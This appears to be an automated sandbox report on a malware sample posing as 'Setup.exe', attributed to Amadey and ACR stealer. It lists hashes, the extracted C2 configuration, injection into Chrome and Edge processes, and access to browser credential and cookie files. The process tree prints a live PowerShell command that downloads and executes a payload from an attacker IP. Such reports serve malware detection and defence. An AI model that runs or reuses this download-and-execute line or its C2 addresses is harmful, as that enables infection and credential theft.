Analysis
- max time kernel
302s - max time network
285s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system - submitted
04/11/2025, 15:01
Static task
static1
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win10ltsc2021-20251017-en
General
- Target Setup.exe
- Size 672.3MB
- Sample251104-sd7dastrdr
- SHA256 962bdc61115c4f4bbf4a70a01c5adebd457cab719013ab971b6ca09dfb345c84
- MD5 815be0222c24053f41867b326df738b6
- SHA1 60e43c9b9b0e450eb58533a3d12bc60849052ebe
- SHA512 214d48fee5f6ddd90cf33e0e270aeb1e44a11511c574d3e5de4f6a38e4a7182011b3b9879e957570150c16f9a48951dcdc1c2aa4a545fd08a754a3e2fcf74063
- SSDEEP 393216:zCw3bZuBXEkCOlFKFHyWhKUzzgGFdXMAGOhIAfXRjBZ5KYOfAxU4n:z1go5m4L
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie
Extracted
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amadey
-
5.70
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2265ca
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http://mi.huffproofs.com
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install_dir
3be1510d5b
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install_file
Pwvoqdmgn.exe
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strings_key
13416e8592239dcfe754c2affc83cb4f
-
url_paths
/kaWt2QXfpPueNM/index.php
Signatures
- ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Acrstealer family
- Amadey family
- Detects Amadey x86-bit Payload 1 IoCs
resource yara_rule behavioral3/memory/5724-2066-0x0000000000400000-0x000000000046F000-memory.dmp family_amadey_v2 - Detects unpacked ACRstealer payload 1 IoCs
resource yara_rule behavioral3/memory/2448-1429-0x0000000003C40000-0x0000000003C5A000-memory.dmp family_acrstealer_payload - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 19 5460 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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pid Process 5460 powershell.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2448 Setup.exe 2448 Setup.exe - Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 2448 set thread context of 2408 2448 Setup.exe 78 PID 2448 set thread context of 5256 2448 Setup.exe 80 PID 2448 set thread context of 5260 2448 Setup.exe 82 PID 2448 set thread context of 1108 2448 Setup.exe 83 PID 2448 set thread context of 3324 2448 Setup.exe 84 PID 2448 set thread context of 2328 2448 Setup.exe 85 PID 2448 set thread context of 3000 2448 Setup.exe 86 PID 2448 set thread context of 2336 2448 Setup.exe 92 PID 2448 set thread context of 5724 2448 Setup.exe 95 PID 2448 set thread context of 5036 2448 Setup.exe 96 - Program crash 1 IoCs
pid pid_target Process procid_target 988 5036 WerFault.exe 96 - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Setup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe 2448 Setup.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5460 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2448 wrote to memory of 2408 2448 Setup.exe 78 PID 2408 wrote to memory of 2448 2408 chrome.exe 77 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 2448 wrote to memory of 5256 2448 Setup.exe 80 PID 5256 wrote to memory of 2448 5256 msedge.exe 77 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 5260 2448 Setup.exe 82 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 1108 2448 Setup.exe 83 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 3324 2448 Setup.exe 84 PID 2448 wrote to memory of 2328 2448 Setup.exe 85 PID 2448 wrote to memory of 2328 2448 Setup.exe 85 PID 2448 wrote to memory of 2328 2448 Setup.exe 85
Processes
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C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2408
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5256
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5260
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1108
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:3324
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:2328
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:3000
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:2336
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5460
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:5724
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:5036 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 5323⤵
- Program crash
PID:988
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:2400
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:3948
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5036 -ip 50361⤵PID:6140
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 2b4ad5d8a97d902499d029486ed7c154705710805448fbf1544e0e300ba762bc
- MD5 e63c8390a7f93e98f40e736003ffc93d
- SHA1 f2743bfa445b373105fc65ee04a72122c49feefd
- SHA512 849a1c98b91bbe5f144591a19e3a3f872fcaa294fdf4f3fe00418d47194c38b2b4be25f0bc25acf86c70cd9542ab36cc25fda325a8eae1ce00ce48061f46a4fb
- SSDEEP 48:Tem9aw/aHLopFMavU1iB2H+220Siveo2/:XPareMaZ5lIY/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 5ef0bee4eabbe815d44d5f62331c46defb3f8f8f744138125f48a6046a7c5732
- MD5 327cddef03a0502d0ec2690c2e60fb9f
- SHA1 0546f6b0aac11226916db2594fead5ed8942efb4
- SHA512 851f1a6ae108898290a7a3b3d22593029b70373e794ace1a937ef9a06edea13b927a2bbcee19ca6a32d2008b7e77d4924bd92a431d947dec8a18e610ac80c925
- SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfBLKmyh6m/:T9LopFMatSaw/auUOt8BLKmk6m/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 40KB
- SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
- MD5 dfd4f60adc85fc874327517efed62ff7
- SHA1 f97489afb75bfd5ee52892f37383fbc85aa14a69
- SHA512 d76f75b1b5b23aa4f87c53ce44c3d3b7e41a44401e53d89f05a114600ea3dcd8beda9ca1977b489ac6ea5586cf26e47396e92d4796c370e89fab0aa76f38f3c4
- SSDEEP 96:iLSQCn8MouB6w9f/8iZqmvJKLPeymwil:iLSQG7Iw9fEiSi
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 56KB
- SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
- MD5 0e2c60740cafa19c5158f4aa41a5d4e7
- SHA1 f01d0f359e407fed424c30919ed64b77508b3024
- SHA512 e367b88f1d984f84b9b4a8fa4002ede1afad0d375f9374636250f17e64445a60d1b99fe23a0b314c4b2bd5fd27fe5b87fa4079a84b4497629f238afd8436afe2
- SSDEEP 96:qUfXG38t8KLPeymORCGr25bn8MouB6w9f/rGSEPONy:qUu0RCGr2V7Iw9fFN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 130KB
- SHA256 6b6225d3ed9359fc758f76d69be403335e2706857c5f0966fba5a316fb7c53bf
- MD5 4b277ced0c7b6b17a1e92d9b6168646e
- SHA1 5886a79857d3047cfdee108616f13481be236cc8
- SHA512 83d67104ea1d38ce6c64db42bad83808d18c35e03ad9463e9e4ef6627aff6de88c8a6b338aee42f772977aacfc7982fe4fe311af5b3e34696eee8e3c1c2e0a57
- SSDEEP 192:4B4BvnXuvkUUo4nVaIvsb5wS+npX6SqGVumgm:yovXuvepnkIvsb5wS+B1Vumgm
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 228KB
- SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
- MD5 8ce704458e632d243a023357eec3702f
- SHA1 b4857c6a1e277776b8a08c243917eeae5470aa56
- SHA512 a96d4aded8fd5ce2cfeeaba2bc69a399006bc723e1aa0777989648b2fe8caa7b6d421744c2bcd52b633d0e2d41b951df2cbc91ac64054c7b8cb63f887b496449
- SSDEEP 192:DC3fT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:e3fQuJQnPqrgWLfUK3hivmY4Cvp68C
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2an0xz1.cz1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512